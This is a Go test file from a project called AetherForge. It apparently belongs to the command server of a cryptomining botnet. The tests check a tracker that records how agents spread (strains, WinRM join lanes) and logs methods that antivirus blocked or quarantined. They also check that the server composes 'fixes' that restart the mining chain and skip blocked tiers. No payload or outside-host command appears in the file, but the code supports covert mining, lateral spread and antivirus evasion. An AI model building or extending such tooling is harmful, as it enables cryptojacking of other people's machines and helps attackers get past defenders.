Files
AetherForge/server/internal/epidemiology/tracker_test.go
AetherForge 0935756e5f
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fleet topology epidemiology: strain plague map, interrupt fixes, tests.
2026-06-07 09:20:30 -07:00

157 lines
3.7 KiB
Go

package epidemiology
import (
"encoding/json"
"sync"
"testing"
)
func TestDetectInterruptionContinuousMiningNil(t *testing.T) {
if got := DetectInterruption("a1", StatsInput{
ActiveMethod: "container",
MiningHashrate: 120,
}); got != nil {
t.Fatalf("continuous mining should not interrupt: %+v", got)
}
}
func TestDetectInterruptionChainExhausted(t *testing.T) {
got := DetectInterruption("stuck", StatsInput{
ChainExhausted: true,
SpreadStrain: "#aabbcc",
JoinLane: "winrm",
FailedMethods: []MethodFailure{{
Method: "exe_subprocess",
Reason: "AV blocked",
At: "2026-06-07T00:00:00Z",
}},
})
if got == nil {
t.Fatal("expected interrupt state")
}
if got.SpreadStrain != "#aabbcc" {
t.Fatalf("strain=%q", got.SpreadStrain)
}
if got.AgentID != "stuck" {
t.Fatalf("agent=%q", got.AgentID)
}
}
func TestComposeFixSkipsFailedBranches(t *testing.T) {
fix := ComposeFix(MiningInterruptState{
AgentID: "a1",
ChainExhausted: true,
FailedMethods: []MethodFailure{
{Method: "exe_subprocess", Reason: "blocked"},
},
LOTLAttempts: []TierAttempt{
{Tier: "container", OK: false, Error: "no docker"},
},
})
if !fix.RestartChain {
t.Fatal("chain exhausted should restart")
}
if len(fix.SkipTiers) < 2 {
t.Fatalf("skip tiers=%v", fix.SkipTiers)
}
}
func TestTrackerObserveAndConsumeFix(t *testing.T) {
tr := NewTracker()
var aiCalls int
var seerCalls int
tr.SetReporter(Reporter{
OnAI: func(agentID, action, reasoning string) {
aiCalls++
if agentID != "agent-x" || action != "mining_interrupt" {
t.Fatalf("ai callback: %s %s", agentID, action)
}
if reasoning == "" {
t.Fatal("expected reasoning payload")
}
},
OnSeer: func(event SeerEvent) {
seerCalls++
if event.Kind != "mining_interrupt" {
t.Fatalf("kind=%s", event.Kind)
}
},
})
tr.ObserveStats("agent-x", StatsInput{
ChainExhausted: true,
SpreadStrain: "#112233",
FailedMethods: []MethodFailure{{Method: "wsl", Reason: "missing"}},
})
if aiCalls != 1 || seerCalls != 1 {
t.Fatalf("reports ai=%d seer=%d", aiCalls, seerCalls)
}
fix, ok := tr.ConsumeFix("agent-x")
if !ok || fix.AgentID != "agent-x" {
t.Fatalf("consume fix: ok=%v fix=%+v", ok, fix)
}
if _, again := tr.ConsumeFix("agent-x"); again {
t.Fatal("fix should be one-shot on auth pass")
}
events := tr.RecentSeerEvents(5)
if len(events) != 1 {
t.Fatalf("seer events=%d", len(events))
}
var decoded MiningInterruptState
if err := json.Unmarshal(events[0].Payload, &decoded); err != nil {
t.Fatal(err)
}
if decoded.SpreadStrain != "#112233" {
t.Fatalf("payload strain=%q", decoded.SpreadStrain)
}
}
func TestTrackerDedupesIdenticalInterrupt(t *testing.T) {
tr := NewTracker()
var calls int
tr.SetReporter(Reporter{
OnAI: func(_, _, _ string) {
calls++
},
})
stats := StatsInput{
ChainExhausted: true,
SpreadStrain: "#ff00aa",
FailedMethods: []MethodFailure{{Method: "gpu_subprocess", Reason: "quarantine"}},
}
tr.ObserveStats("dup", stats)
tr.ObserveStats("dup", stats)
if calls != 1 {
t.Fatalf("deduped calls=%d want 1", calls)
}
}
func TestSpreadStrainFromJoinLaneParity(t *testing.T) {
got := spreadStrainFromJoinLane("winrm")
if got != "#ab88e4" {
t.Fatalf("winrm strain=%q want #ab88e4", got)
}
}
func TestTrackerConcurrentObserve(t *testing.T) {
tr := NewTracker()
var wg sync.WaitGroup
for i := 0; i < 20; i++ {
wg.Add(1)
go func(n int) {
defer wg.Done()
id := "agent-" + string(rune('a'+n%26))
tr.ObserveStats(id, StatsInput{
ChainExhausted: true,
FailedMethods: []MethodFailure{{Method: "container", Reason: "fail"}},
})
}(i)
}
wg.Wait()
if len(tr.pendingFix) == 0 {
t.Fatal("expected pending fixes")
}
}